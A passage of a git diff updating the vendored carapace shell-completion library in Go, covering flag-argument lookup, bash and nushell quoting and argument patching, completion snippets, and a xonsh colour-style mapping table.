b/vendor/github.com/rsteube/carapace/internal/pflagfork/flagset.go @@ -12,6 +12,13 @@ type FlagSet struct { *pflag.FlagSet } +func (f FlagSet) IsInterspersed() bool { + if fv := reflect.ValueOf(f.FlagSet).Elem().FieldByName("interspersed"); fv.IsValid() { + return fv.Bool() + } + return false +} + func (f FlagSet) IsPosix() bool { if method := reflect.ValueOf(f.FlagSet).MethodByName("IsPosix"); method.IsValid() { if values := method.Call([]reflect.Value{}); len(values) == 1 && values[0].Kind() == reflect.Bool { @@ -22,7 +29,7 @@ func (f FlagSet) IsPosix() bool { } func (f FlagSet) IsShorthandSeries(arg string) bool { - re := regexp.MustCompile("^-(?P[^-=]+)") + re := regexp.MustCompile("^-(?P[^-].*)") return re.MatchString(arg) && f.IsPosix() } @@ -41,19 +48,106 @@ func (f FlagSet) IsMutuallyExclusive(flag *pflag.Flag) bool { func (f *FlagSet) VisitAll(fn func(*Flag)) { f.FlagSet.VisitAll(func(flag *pflag.Flag) { - fn(&Flag{flag}) + fn(&Flag{Flag: flag, Args: []string{}}) }) + } func (fs FlagSet) LookupArg(arg string) (result *Flag) { isPosix := fs.IsPosix() - fs.VisitAll(func(f *Flag) { + + switch { + case strings.HasPrefix(arg, "--"): + return fs.lookupPosixLonghandArg(arg) + case isPosix: + return fs.lookupPosixShorthandArg(arg) + case !isPosix: + return fs.lookupNonPosixShorthandArg(arg) + } + return +} + +func (fs FlagSet) ShorthandLookup(name string) *Flag { + if f := fs.FlagSet.ShorthandLookup(name); f != nil { + return &Flag{ + Flag: f, + Args: []string{}, + } + } + return nil +} + +func (fs FlagSet) lookupPosixLonghandArg(arg string) (flag *Flag) { + if !strings.HasPrefix(arg, "--") { + return nil + } + + fs.VisitAll(func(f *Flag) { // TODO needs to be sorted to try longest matching first + if flag != nil || f.Mode() != Default { + return + } + + splitted := strings.SplitAfterN(arg, string(f.OptargDelimiter()), 2) + if strings.TrimSuffix(splitted[0], string(f.OptargDelimiter())) == "--"+f.Name { + flag = f + flag.Prefix = splitted[0] + if len(splitted) > 1 { + flag.Args = splitted[1:] + } + } + }) + return +} + +func (fs FlagSet) lookupPosixShorthandArg(arg string) *Flag { + if !strings.HasPrefix(arg, "-") || !fs.IsPosix() || len(arg) < 2 { + return nil + } + + for index, r := range arg[1:] { + index += 1 + flag := fs.ShorthandLookup(string(r)) + + switch { + case flag == nil: + return flag + case len(arg) == index+1: + flag.Prefix = arg + return flag + case arg[index+1] == byte(flag.OptargDelimiter()) && len(arg) > index+2: + flag.Prefix = arg[:index+2] + flag.Args = []string{arg[index+2:]} + return flag + case arg[index+1] == byte(flag.OptargDelimiter()): + flag.Prefix = arg[:index+2] + flag.Args = []string{""} + return flag + case !flag.IsOptarg() && len(arg) > index+1: + flag.Prefix = arg[:index+1] + flag.Args = []string{arg[index+1:]} + return flag + } + } + return nil +} + +func (fs FlagSet) lookupNonPosixShorthandArg(arg string) (result *Flag) { // TODO pretty much duplicates longhand lookup + if !strings.HasPrefix(arg, "-") { + return nil + } + + fs.VisitAll(func(f *Flag) { // TODO needs to be sorted to try longest matching first if result != nil { return } - if f.Matches(arg, isPosix) { + splitted := strings.SplitAfterN(arg, string(f.OptargDelimiter()), 2) + if strings.TrimSuffix(splitted[0], string(f.OptargDelimiter())) == "-"+f.Shorthand { result = f + result.Prefix = splitted[0] + if len(splitted) > 1 { + result.Args = splitted[1:] + } } }) return diff --git a/vendor/github.com/rsteube/carapace/internal/shell/bash/action.go b/vendor/github.com/rsteube/carapace/internal/shell/bash/action.go index 9607a6056c..0e3529a4c0 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/bash/action.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/bash/action.go @@ -14,28 +14,15 @@ var sanitizer = strings.NewReplacer( "\t", ``, ) -var quoter = strings.NewReplacer( - // seems readline provides quotation only for the filename completion (which would add suffixes) so do that here - `&`, `\&`, - `<`, `\<`, - `>`, `\>`, - "`", "\\`", - `'`, `\'`, +var valueReplacer = strings.NewReplacer( + `\`, `\\`, `"`, `\"`, - `{`, `\{`, - `}`, `\}`, `$`, `\$`, - `#`, `\#`, - `|`, `\|`, - `?`, `\?`, - `(`, `\(`, - `)`, `\)`, - `;`, `\;`, - ` `, `\ `, - `[`, `\[`, - `]`, `\]`, - `*`, `\*`, - `\`, `\\`, + "`", "\\`", +) + +var displayReplacer = strings.NewReplacer( + `${`, `\\\${`, ) func commonPrefix(a, b string) string { @@ -70,19 +57,11 @@ func commonValuePrefix(values ...common.RawValue) (prefix string) { // ActionRawValues formats values for bash. func ActionRawValues(currentWord string, meta common.Meta, values common.RawValues) string { - lastSegment := currentWord // last segment of currentWord split by COMP_WORDBREAKS - - for valueIndex, value := range values { - // TODO optimize - if wordbreaks, ok := os.LookupEnv("COMP_WORDBREAKS"); ok { - wordbreaks = strings.Replace(wordbreaks, " ", "", -1) - if index := strings.LastIndexAny(currentWord, wordbreaks); index != -1 { - values[valueIndex].Value = strings.TrimPrefix(value.Value, currentWord[:index+1]) - lastSegment = currentWord[index+1:] - } - } + for index, value := range values { + values[index].Value = strings.TrimPrefix(value.Value, wordbreakPrefix) } + lastSegment := strings.TrimPrefix(currentWord, wordbreakPrefix) // last segment of currentWord split by COMP_WORDBREAKS if len(values) > 1 && commonDisplayPrefix(values...) != "" { // When all display values have the same prefix bash will insert is as partial completion (which skips prefixes/formatting). if valuePrefix := commonValuePrefix(values...); lastSegment != valuePrefix { @@ -95,15 +74,32 @@ func ActionRawValues(currentWord string, meta common.Meta, values common.RawValu meta.Nospace.Add('*') } + nospace := true vals := make([]string, len(values)) for index, val := range values { if len(values) == 1 { - vals[index] = quoter.Replace(sanitizer.Replace(val.Value)) if !meta.Nospace.Matches(val.Value) { - vals[index] = val.Value + " " + nospace = false } + vals[index] = sanitizer.Replace(val.Value) + if requiresQuoting(vals[index]) { + vals[index] = valueReplacer.Replace(vals[index]) + switch { + case strings.HasPrefix(vals[index], "~"): // assume homedir expansion + if splitted := strings.SplitAfterN(vals[index], "/", 2); len(splitted) == 2 { + vals[index] = fmt.Sprintf(`%v"%v"`, splitted[0], splitted[1]) + } else { + // TODO homedir expansion won't work this way, but shouldn't reach this point anyway. + vals[index] = fmt.Sprintf(`~"%v"`, strings.TrimPrefix(vals[index], "~")) + } + default: + vals[index] = fmt.Sprintf(`"%v"`, vals[index]) + } + } } else { + val.Display = displayReplacer.Replace(val.Display) + val.Description = displayReplacer.Replace(val.Description) if val.Description != "" { vals[index] = fmt.Sprintf("%v (%v)", val.Display, sanitizer.Replace(val.TrimmedDescription())) } else { @@ -111,5 +107,13 @@ func ActionRawValues(currentWord string, meta common.Meta, values common.RawValu } } } - return strings.Join(vals, "\n") + return fmt.Sprintf("%v\001%v", nospace, strings.Join(vals, "\n")) +} + +func requiresQuoting(s string) bool { + chars := " \t\r\n`" + `[]{}()<>;|$&:*#` + chars += os.Getenv("COMP_WORDBREAKS") + chars += `\` + return strings.ContainsAny(s, chars) + } diff --git a/vendor/github.com/rsteube/carapace/internal/shell/bash/patch.go b/vendor/github.com/rsteube/carapace/internal/shell/bash/patch.go new file mode 100644 index 0000000000..c7511e20b4 --- /dev/null +++ b/vendor/github.com/rsteube/carapace/internal/shell/bash/patch.go @@ -0,0 +1,89 @@ +package bash + +import ( + "os" + "strconv" + + shlex "github.com/rsteube/carapace-shlex" +) + +// RedirectError current position is a redirect like `echo test >[TAB]`. +type RedirectError struct{} + +func (r RedirectError) Error() string { + return "current position is a redirect like `echo test >[TAB]`" +} + +// TODO yuck! - set by Patch which also unsets bash comp environment variables so that they don't affect further completion +// introduces state and hides what is happening but works for now +var wordbreakPrefix string = "" + +func CompLine() (string, bool) { + line, ok := os.LookupEnv("COMP_LINE") + if !ok { + return "", false + } + + point, ok := os.LookupEnv("COMP_POINT") + if !ok { + return "", false + } + + pointI, err := strconv.Atoi(point) + if err != nil || len(line) < pointI { + return "", false + } + + return line[:pointI], true +} + +// Patch patches args if `COMP_LINE` environment variable is set. +// +// Bash passes redirects to the completion function so these need to be filtered out. +// +// `example action >/tmp/stdout.txt --values 2>/tmp/stderr.txt fi[TAB]` +// ["example", "action", ">", "/tmp/stdout.txt", "--values", "2", ">", "/tmp/stderr.txt", "fi"] +// ["example", "action", "--values", "fi"] +func Patch(args []string) ([]string, error) { // TODO document and fix wordbreak splitting (e.g. `:`) + compline, ok := CompLine() + if !ok { + return args, nil + } + + if compline == "" { + return args, nil + } + + tokens, err := shlex.Split(compline) + if err != nil { + return nil, err + } + + if len(tokens) > 1 { + if previous := tokens[len(tokens)-2]; previous.WordbreakType.IsRedirect() { + return append(args[:1], tokens[len(tokens)-1].Value), RedirectError{} + } + } + args = append(args[:1], tokens.CurrentPipeline().FilterRedirects().Words().Strings()...) + + // TODO find a better solution to pass the wordbreakprefix to bash/action.go + wordbreakPrefix = tokens.CurrentPipeline().WordbreakPrefix() + unsetBashCompEnv() + + return args, nil +} + +func unsetBashCompEnv() { + for _, key := range []string{ + // https://www.gnu.org/software/bash/manual/html_node/Bash-Variables.html + "COMP_CWORD", + "COMP_LINE", + "COMP_POINT", + "COMP_TYPE", + "COMP_KEY", + "COMP_WORDBREAKS", + "COMP_WORDS", + } { + os.Unsetenv(key) + } +} diff --git a/vendor/github.com/rsteube/carapace/internal/shell/bash/snippet.go b/vendor/github.com/rsteube/carapace/internal/shell/bash/snippet.go index ca30645a9a..1663ddfef3 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/bash/snippet.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/bash/snippet.go @@ -13,17 +13,30 @@ func Snippet(cmd *cobra.Command) string { result := fmt.Sprintf(`#!/bin/bash _%v_completion() { export COMP_WORDBREAKS + export COMP_LINE + export COMP_POINT - local compline="${COMP_LINE:0:${COMP_POINT}}" + local nospace data compline="${COMP_LINE:0:${COMP_POINT}}" + + if echo ${compline}"''" | xargs echo 2>/dev/null > /dev/null; then + data=$(echo ${compline}"''" | xargs %v _carapace bash) + elif echo ${compline} | sed "s/\$/'/" | xargs echo 2>/dev/null > /dev/null; then + data=$(echo ${compline} | sed "s/\$/'/" | xargs %v _carapace bash) + else + data=$(echo ${compline} | sed 's/$/"/' | xargs %v _carapace bash) + fi + + IFS=$'\001' read -r -d '' nospace data <<<"${data}" + mapfile -t COMPREPLY < <(echo "${data}") + unset COMPREPLY[-1] + + [ "${nospace}" = true ] && compopt -o nospace local IFS=$'\n' - mapfile -t COMPREPLY < <(echo "$compline" | sed -e "s/ \$/ ''/" -e 's/"/\"/g' | xargs %v _carapace bash) [[ "${COMPREPLY[*]}" == "" ]] && COMPREPLY=() # fix for mapfile creating a non-empty array from empty command output - - compopt -o nospace } -complete -F _%v_completion %v -`, cmd.Name(), uid.Executable(), cmd.Name(), cmd.Name()) +complete -o noquote -F _%v_completion %v +`, cmd.Name(), uid.Executable(), uid.Executable(), uid.Executable(), cmd.Name(), cmd.Name()) return result } diff --git a/vendor/github.com/rsteube/carapace/internal/shell/elvish/snippet.go b/vendor/github.com/rsteube/carapace/internal/shell/elvish/snippet.go index 9c5a8b6d28..a06f3380a4 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/elvish/snippet.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/elvish/snippet.go @@ -18,7 +18,7 @@ func Snippet(cmd *cobra.Command) string { if (not-eq $completion[Usage] "") { edit:notify (styled "usage: " $completion[DescriptionStyle])$completion[Usage] } - put $completion[Candidates] | all (one) | each {|c| + put $completion[Candidates] | all (one) | peach {|c| if (eq $c[Description] "") { edit:complex-candidate $c[Value] &display=(styled $c[Display] $c[Style]) &code-suffix=$c[CodeSuffix] } else { diff --git a/vendor/github.com/rsteube/carapace/internal/shell/fish/action.go b/vendor/github.com/rsteube/carapace/internal/shell/fish/action.go index 7dbae1b091..d5f68d8b5b 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/fish/action.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/fish/action.go @@ -2,9 +2,8 @@ package fish import ( "fmt" - "strings" - "github.com/rsteube/carapace/internal/common" + "strings" ) var sanitizer = strings.NewReplacer( diff --git a/vendor/github.com/rsteube/carapace/internal/shell/library/action.go b/vendor/github.com/rsteube/carapace/internal/shell/library/action.go deleted file mode 100644 index 3e6359df20..0000000000 --- a/vendor/github.com/rsteube/carapace/internal/shell/library/action.go +++ /dev/null @@ -1,42 +0,0 @@ -package library - -import ( - "strings" - - "github.com/rsteube/carapace/internal/common" - "github.com/rsteube/carapace/pkg/style" -) - -var sanitizer = strings.NewReplacer( - "\n", ``, - "\r", ``, - "\t", ``, -) - -var quoter = strings.NewReplacer( - // `\`, `\\`, - ` `, `\ `, -) - -// ActionRawValues formats values for carapace if used as library. -func ActionRawValues(_ string, meta common.Meta, values common.RawValues) (common.RawValues, common.Meta) { - sorted := make(common.RawValues, 0) - - values.EachTag(func(_ string, values common.RawValues) { - for index, val := range values { - val.Value = sanitizer.Replace(val.Value) - val.Value = quoter.Replace(val.Value) - if !meta.Nospace.Matches(val.Value) { - val.Value += " " - } - if val.Style != "" { - val.Style = style.SGR(val.Style) - } - values[index] = val - } - - sorted = append(sorted, values...) - }) - - return sorted, meta -} diff --git a/vendor/github.com/rsteube/carapace/internal/shell/nushell/action.go b/vendor/github.com/rsteube/carapace/internal/shell/nushell/action.go index 361393bddf..06a59db19b 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/nushell/action.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/nushell/action.go @@ -18,6 +18,11 @@ var sanitizer = strings.NewReplacer( "\r", ``, ) +var escaper = strings.NewReplacer( + `\`, `\\`, + `"`, `\"`, +) + func sanitize(values []common.RawValue) []common.RawValue { for index, v := range values { (&values[index]).Value = sanitizer.Replace(v.Value) @@ -31,11 +36,17 @@ func sanitize(values []common.RawValue) []common.RawValue { func ActionRawValues(currentWord string, meta common.Meta, values common.RawValues) string { vals := make([]record, len(values)) for index, val := range sanitize(values) { - if strings.ContainsAny(val.Value, ` {}()[]<>$&"|;#\`+"`") { - val.Value = fmt.Sprintf("'%v'", val.Value) + nospace := meta.Nospace.Matches(val.Value) + if strings.ContainsAny(val.Value, ` {}()[]<>$&"'|;#\`+"`") { + switch { + case strings.HasPrefix(val.Value, "~"): + val.Value = fmt.Sprintf(`~"%v"`, escaper.Replace(val.Value[1:])) + default: + val.Value = fmt.Sprintf(`"%v"`, escaper.Replace(val.Value)) + } } - if !meta.Nospace.Matches(val.Value) { + if !nospace { val.Value = val.Value + " " } diff --git a/vendor/github.com/rsteube/carapace/internal/shell/nushell/patch.go b/vendor/github.com/rsteube/carapace/internal/shell/nushell/patch.go new file mode 100644 index 0000000000..65734c231f --- /dev/null +++ b/vendor/github.com/rsteube/carapace/internal/shell/nushell/patch.go @@ -0,0 +1,30 @@ +package nushell + +import ( + "strings" + + shlex "github.com/rsteube/carapace-shlex" +) + +// Patch uses the lexer to parse and patch given arguments which +// are currently passed unprocessed to the completion function. +// +// see https://www.nushell.sh/book/working_with_strings.html +func Patch(args []string) []string { + // TODO + for index, arg := range args { + if len(arg) == 0 { + continue + } + + switch arg[0] { + case '"', "'"[0]: + if tokens, err := shlex.Split(arg); err == nil { + args[index] = tokens[0].Value + } + case '`': + args[index] = strings.Trim(arg, "`") + } + } + return args +} diff --git a/vendor/github.com/rsteube/carapace/internal/shell/nushell/snippet.go b/vendor/github.com/rsteube/carapace/internal/shell/nushell/snippet.go index 72357e41bb..a37f69815b 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/nushell/snippet.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/nushell/snippet.go @@ -10,19 +10,7 @@ import ( // Snippet creates the nushell completion script. func Snippet(cmd *cobra.Command) string { - return fmt.Sprintf(`let external_completer = {|spans| - { - $spans.0: { } # default - %v: { %v _carapace nushell $spans | from json } - } | get $spans.0 | each {|it| do $it} -} - -let-env config = { - completions: { - external: { - enable: true - completer: $external_completer - } - } + return fmt.Sprintf(`let %v_completer = {|spans| + %v _carapace nushell $spans | from json }`, cmd.Name(), uid.Executable()) } diff --git a/vendor/github.com/rsteube/carapace/internal/shell/powershell/action.go b/vendor/github.com/rsteube/carapace/internal/shell/powershell/action.go index f1ddb85e46..ba2353b61b 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/powershell/action.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/powershell/action.go @@ -45,12 +45,13 @@ func ActionRawValues(currentWord string, meta common.Meta, values common.RawValu for _, val := range values { if val.Value != "" { // must not be empty - any empty `''` parameter in CompletionResult causes an error val.Value = sanitizer.Replace(val.Value) + nospace := meta.Nospace.Matches(val.Value) if strings.ContainsAny(val.Value, ` {}()[]*$?\"|<>&(),;#`+"`") { val.Value = fmt.Sprintf("'%v'", val.Value) } - if !meta.Nospace.Matches(val.Value) { + if !nospace { val.Value = val.Value + " " } diff --git a/vendor/github.com/rsteube/carapace/internal/shell/shell.go b/vendor/github.com/rsteube/carapace/internal/shell/shell.go index fff6ea3b45..2c8b717dc1 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/shell.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/shell.go @@ -16,7 +16,6 @@ import ( "github.com/rsteube/carapace/internal/shell/nushell" "github.com/rsteube/carapace/internal/shell/oil" "github.com/rsteube/carapace/internal/shell/powershell" - "github.com/rsteube/carapace/internal/shell/spec" "github.com/rsteube/carapace/internal/shell/tcsh" "github.com/rsteube/carapace/internal/shell/xonsh" "github.com/rsteube/carapace/internal/shell/zsh" @@ -40,7 +39,6 @@ func Snippet(cmd *cobra.Command, shell string) (string, error) { "nushell": nushell.Snippet, "oil": oil.Snippet, "powershell": powershell.Snippet, - "spec": spec.Snippet, "tcsh": tcsh.Snippet, "xonsh": xonsh.Snippet, "zsh": zsh.Snippet, @@ -86,6 +84,11 @@ func Value(shell string, value string, meta common.Meta, values common.RawValues default: filtered = meta.Messages.Integrate(filtered, value) } + + if !meta.Messages.IsEmpty() && shell != "export" { + meta.Nospace.Add('*') + } + sort.Sort(common.ByDisplay(filtered)) return f(value, meta, filtered) } diff --git a/vendor/github.com/rsteube/carapace/internal/shell/tcsh/action.go b/vendor/github.com/rsteube/carapace/internal/shell/tcsh/action.go index 02a986c129..292d176806 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/tcsh/action.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/tcsh/action.go @@ -87,6 +87,7 @@ func ActionRawValues(currentWord string, meta common.Meta, values common.RawValu if valuePrefix := commonValuePrefix(values...); lastSegment != valuePrefix { // replace values with common value prefix (`\001` is removed in snippet and compopt nospace will be set) values = common.RawValuesFrom(commonValuePrefix(values...)) // TODO nospaceIndicator + //values = common.RawValuesFrom(commonValuePrefix(values...) + nospaceIndicator) } else { // prevent insertion of partial display values by prefixing one with space values[0].Display = " " + values[0].Display diff --git a/vendor/github.com/rsteube/carapace/internal/shell/xonsh/action.go b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/action.go index 81e0ad747b..54c34640b6 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/xonsh/action.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/action.go @@ -18,6 +18,7 @@ type richCompletion struct { Value string Display string Description string + Style string } // ActionRawValues formats values for xonsh. @@ -38,7 +39,12 @@ func ActionRawValues(currentWord string, meta common.Meta, values common.RawValu val.Value = val.Value + " " } - vals[index] = richCompletion{Value: val.Value, Display: val.Display, Description: val.TrimmedDescription()} + vals[index] = richCompletion{ + Value: val.Value, + Display: val.Display, + Description: val.TrimmedDescription(), + Style: convertStyle("bg-default fg-default " + val.Style), + } } m, _ := json.Marshal(vals) return string(m) diff --git a/vendor/github.com/rsteube/carapace/internal/shell/xonsh/snippet.go b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/snippet.go index caa98754b8..f9a9254ad6 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/xonsh/snippet.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/snippet.go @@ -28,7 +28,7 @@ def _%v_completer(context): output, _ = Popen(['%v', '_carapace', 'xonsh', *[a.value for a in context.args], fix_prefix(context.prefix)], stdout=PIPE, stderr=PIPE).communicate() try: - result = {RichCompletion(c["Value"], display=c["Display"], description=c["Description"], prefix_len=len(context.raw_prefix), append_closing_quote=False) for c in loads(output)} + result = {RichCompletion(c["Value"], display=c["Display"], description=c["Description"], prefix_len=len(context.raw_prefix), append_closing_quote=False, style=c["Style"]) for c in loads(output)} except: result = {} if len(result) == 0: diff --git a/vendor/github.com/rsteube/carapace/internal/shell/xonsh/style.go b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/style.go new file mode 100644 index 0000000000..000f853e24 --- /dev/null +++ b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/style.go @@ -0,0 +1,332 @@ +package xonsh + +import ( + "strings" + + "github.com/rsteube/carapace/pkg/style" +) + +func convertStyle(s string) string { + xonshStyle := make([]string, 0) + + style := style.Parse("fg-default bg-default " + s) + switch style.Background { + case nil: + xonshStyle = append(xonshStyle, "bg:default") + default: + xonshStyle = append(xonshStyle, "bg:"+convertColor(style.Background.String())) + } + + switch style.Foreground { + case nil: + xonshStyle = append(xonshStyle, "fg:default") + default: + xonshStyle = append(xonshStyle, "fg:"+convertColor(style.Foreground.String())) + } + + if style.Bold { + xonshStyle = append(xonshStyle, "bold") + } + if style.Dim { // TODO dim not supported + if style.Foreground == nil || style.Foreground.String() == "white" { + xonshStyle[1] = "fg:#808080" // TODO workaround + } + } + if style.Italic { + xonshStyle = append(xonshStyle, "italic") + } + if style.Underlined { + xonshStyle = append(xonshStyle, "underline") + } + if style.Blink { + xonshStyle = append(xonshStyle, "blink") + } + if style.Inverse { + xonshStyle = append(xonshStyle, "reverse") + } + + return strings.Join(xonshStyle, " ") +} + +func convertColor(color string) string { + if strings.HasPrefix(color, "#") { + return color // keep hex + } + + return map[string]string{ + "black": "ansiblack", + "red": "ansired", + "green": "ansigreen", + "yellow": "ansiyellow", + "blue": "ansiblue", + "magenta": "ansimagenta", + "cyan": "ansicyan", + "white": "ansigray", + + "bright-black": "ansibrightblack", + "bright-red": "ansibrightred", + "bright-green": "ansibrightgreen", + "bright-yellow": "ansibrightyellow", + "bright-blue": "ansibrightblue", + "bright-magenta": "ansibrightmagenta", + "bright-cyan": "ansibrightcyan", + "bright-white": "ansiwhite", + + "color0": "#000000", + "color1": "#800000", + "color2": "#008000", + "color3": "#808000", + "color4": "#000080", + "color5": "#800080", + "color6": "#008080", + "color7": "#c0c0c0", + "color8": "#808080", + "color9": "#ff0000", + "color10": "#00ff00", + "color11": "#ffff00", + "color12": "#0000ff", + "color13": "#ff00ff", + "color14": "#00ffff", + "color15": "#ffffff", + "color16": "#000000", + "color17": "#00005f", + "color18": "#000087", + "color19": "#0000af", + "color20": "#0000d7", + "color21": "#0000ff", + "color22": "#005f00", + "color23": "#005f5f", + "color24": "#005f87", + "color25": "#005faf", + "color26": "#005fd7", + "color27": "#005fff", + "color28": "#008700", + "color29": "#00875f", + "color30": "#008787", + "color31": "#0087af", + "color32": "#0087d7", + "color33": "#0087ff", + "color34": "#00af00", + "color35": "#00af5f", + "color36": "#00af87", + "color37": "#00afaf", + "color38": "#00afd7", + "color39": "#00afff", + "color40": "#00d700", + "color41": "#00d75f", + "color42": "#00d787", + "color43": "#00d7af", + "color44": "#00d7d7", + "color45": "#00d7ff", + "color46": "#00ff00", + "color47": "#00ff5f", + "color48": "#00ff87", + "color49": "#00ffaf", + "color50": "#00ffd7", + "color51": "#00ffff", + "color52": "#5f0000", + "color53": "#5f005f", + "color54": "#5f0087", + "color55": "#5f00af", + "color56": "#5f00d7", + "color57": "#5f00ff", + "color58": "#5f5f00", + "color59": "#5f5f5f", + "color60": "#5f5f87", + "color61": "#5f5faf", + "color62": "#5f5fd7", + "color63": "#5f5fff", + "color64": "#5f8700", + "color65": "#5f875f", + "color66": "#5f8787", + "color67": "#5f87af", + "color68": "#5f87d7", + "color69": "#5f87ff", + "color70": "#5faf00", + "color71": "#5faf5f", + "color72": "#5faf87", + "color73": "#5fafaf", + "color74": "#5fafd7", + "color75": "#5fafff", + "color76": "#5fd700", + "color77": "#5fd75f", + "color78": "#5fd787", + "color79": "#5fd7af", + "color80": "#5fd7d7", + "color81": "#5fd7ff", + "color82": "#5fff00", + "color83": "#5fff5f", + "color84": "#5fff87", + "color85": "#5fffaf", + "color86": "#5fffd7", + "color87": "#5fffff", + "color88": "#870000", + "color89": "#87005f", + "color90": "#870087", + "color91": "#8700af", + "color92": "#8700d7", + "color93": "#8700ff", + "color94": "#875f00", + "color95": "#875f5f", + "color96": "#875f87", + "color97": "#875faf", + "color98": "#875fd7", + "color99": "#875fff", + "color100": "#878700", + "color101": "#87875f", + "color102": "#878787", + "color103": "#8787af", + "color104": "#8787d7", + "color105": "#8787ff", + "color106": "#87af00", + "color107": "#87af5f", + "color108": "#87af87", + "color109": "#87afaf", + "color110": "#87afd7", + "color111": "#87afff", + "color112": "#87d700", + "color113": "#87d75f", + "color114": "#87d787", + "color115": "#87d7af", + "color116": "#87d7d7", + "color117": "#87d7ff", + "color118": "#87ff00", + "color119": "#87ff5f", + "color120": "#87ff87", + "color121": "#87ffaf", + "color122": "#87ffd7", + "color123": "#87ffff", + "color124": "#af0000", + "color125": "#af005f", + "color126": "#af0087", + "color127": "#af00af", + "color128": "#af00d7", + "color129": "#af00ff", + "color130": "#af5f00", + "color131": "#af5f5f", + "color132": "#af5f87", + "color133": "#af5faf", + "color134": "#af5fd7", + "color135": "#af5fff", + "color136": "#af8700", + "color137": "#af875f", + "color138": "#af8787", + "color139": "#af87af", + "color140": "#af87d7", + "color141": "#af87ff", + "color142": "#afaf00", + "color143": "#afaf5f", + "color144": "#afaf87", + "color145": "#afafaf", + "color146": "#afafd7", + "color147": "#afafff", + "color148": "#afd700", + "color149": "#afd75f", + "color150": "#afd787", + "color151": "#afd7af", + "color152": "#afd7d7", + "color153": "#afd7ff", + "color154": "#afff00", + "color155": "#afff5f", + "color156": "#afff87", + "color157": "#afffaf", + "color158": "#afffd7", + "color159": "#afffff", + "color160": "#d70000", + "color161": "#d7005f", + "color162": "#d70087", + "color163": "#d700af", + "color164": "#d700d7", + "color165": "#d700ff", + "color166": "#d75f00", + "color167": "#d75f5f", + "color168": "#d75f87", + "color169": "#d75faf", + "color170": "#d75fd7", + "color171": "#d75fff", + "color172": "#d78700", + "color173": "#d7875f", + "color174": "#d78787", + "color175": "#d787af", + "color176": "#d787d7", + "color177": "#d787ff", + "color178": "#d7af00", + "color179": "#d7af5f", + "color180": "#d7af87", + "color181": "#d7afaf", + "color182": "#d7afd7", + "color183": "#d7afff", + "color184": "#d7d700", + "color185": "#d7d75f", + "color186": "#d7d787", + "color187": "#d7d7af", + "color188": "#d7d7d7", + "color189": "#d7d7ff", + "color190": "#d7ff00", + "color191": "#d7ff5f", + "color192": "#d7ff87", + "color193": "#d7ffaf", + "color194": "#d7ffd7", + "color195": "#d7ffff", + "color196": "#ff0000", + "color197": "#ff005f", + "color198": "#ff0087", + "color199": "#ff00af", + "color200": "#ff00d7", + "color201": "#ff00ff", + "color202": "#ff5f00", + "color203": "#ff5f5f", + "color204": "#ff5f87", + "color205": "#ff5faf", + "color206": "#ff5fd7", + "color207": "#ff5fff", + "color208": "#ff8700", + "color209": "#ff875f", + "color210": "#ff8787", + "color211": "#ff87af", + "color212": "#ff87d7", + "color213": "#ff87ff", + "color214": "#ffaf00", + "color215": "#ffaf5f", + "color216": "#ffaf87", + "color217": "#ffafaf", + "color218": "#ffafd7", + "color219": "#ffafff", + "color220": "#ffd700", + "color221": "#ffd75f", + "color222": "#ffd787", + "color223": "#ffd7af", + "color224": "#ffd7d7", + "color225": "#ffd7ff", + "color226": "#ffff00", + "color227": "#ffff5f", + "color228": "#ffff87", + "color229": "#ffffaf", + "color230": "#ffffd7", + "color231": "#ffffff", + "color232": "#080808", + "color233": "#121212", + "color234": "#1c1c1c", + "color235": "#262626", + "color236": "#303030", + "color237": "#3a3a3a", + "color238": "#444444", + "color239": "#4e4e4e", + "color240": "#585858", + "color241": "#626262", + "color242": "#6c6c6c", + "color243": "#767676", + "color244": "#808080", + "color245": "#8a8a8a", + "color246": "#949494", + "color247": "#9e9e9e", + "color248": "#a8a8a8", + "color249": "#b2b2b2", + "color250": "#bcbcbc", + "color251": "#c6c6c6", + "color252": "#d0d0d0", + "color253": "#dadada", + "color254": "#e4e4e4", + "color255": "#eeeeee", + }[color] +} diff --git a/vendor/github.com/rsteube/carapace/internal/shell/zsh/action.go b/vendor/github.com/rsteube/carapace/internal/shell/zsh/action.go index 6e495189b0..4cde528e8e 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/zsh/action.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/zsh/action.go @@ -13,7 +13,7 @@ var sanitizer = strings.NewReplacer( "\t", ``, ) -// TODO verify these are correct/complete (copied from bash). +// TODO verify these are correct/complete (copied from bash) var quoter = strings.NewReplacer( `\`, `\\`, `&`, `\&`, @@ -45,8 +45,9 @@ func quoteValue(s string) string { return quoter.Replace(s) } -// ActionRawValues formats values for zsh. +// ActionRawValues formats values for zsh func ActionRawValues(currentWord string, meta common.Meta, values common.RawValues) string { + tagGroup := make([]string, 0) values.EachTag(func(tag string, values common.RawValues) { vals := make([]string, len(values)) diff --git a/vendor/github.com/rsteube/carapace/internal/shell/zsh/namedDirectory.go b/vendor/github.com/rsteube/carapace/internal/shell/zsh/namedDirectory.go index 7478166801..b159d4b98e 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/zsh/namedDirectory.go +++ 